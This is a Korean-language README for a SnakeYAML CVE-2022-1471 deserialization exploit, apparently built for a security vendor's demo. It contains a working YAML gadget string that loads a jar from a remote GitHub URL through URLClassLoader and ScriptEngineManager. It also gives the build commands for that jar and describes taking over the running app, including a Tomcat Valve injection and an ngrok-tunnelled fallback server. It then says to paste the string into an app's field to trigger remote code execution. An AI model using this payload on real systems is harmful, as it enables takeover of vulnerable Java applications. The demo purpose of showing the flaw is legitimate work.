
SnakeYAML CVE-2022-1471 익스플로잇 페이로드 - Seal Security 데모용
CVE-2022-1471에 대한 SnakeYAML 역직렬화 익스플로잇 페이로드로, artsploit/yaml-payload에서 각색했습니다(원래는 mbechler/marshalsec 기반).
SnakeYAML의 안전하지 않은 Yaml.load()를 통해 로드되면, 이 페이로드는 실행 중인 애플리케이션을 장악하고 이를 "You've Been PWNED" 페이지로 대체합니다:
Tomcat Valve 주입이 불가능한 경우(예: 비-Spring 앱), 포트 9999에서 독립형 HTTP 서버를 시작하고, ngrok가 실행 중이면 ngrok 터널을 자동으로 생성하는 폴백 방식으로 동작합니다.
이것은 macOS 로컬과 CI/CD 파이프라인(예: Ubuntu의 GitHub Actions) 모두에서 작동합니다.
SnakeYAML 페이로드는 Java SPI(Service Provider Interface)를 통해 ScriptEngineManager를 트리거합니다:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
yaml-payload.jar를 가리키는 java.net.URL을 인스턴스화합니다URLClassLoader로 감쌉니다ScriptEngineManager가 META-INF/services/javax.script.ScriptEngineFactory를 통해 AwesomeScriptEngineFactory를 발견하고 로드합니다/에 대한 모든 후속 응답을 PWNED 페이지로 대체합니다JDK 17+ 필요:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
maven-demo 프로젝트에서 익스플로잇 페이로드로 사용됩니다. 페이로드 문자열을 앱의 이름 필드에 붙여넣어 RCE를 트리거합니다. 다음 요청 시 앱의 페이지가 PWNED 페이지로 대체됩니다. 전체 데모 지침은 해당 저장소의 README를 참조하세요.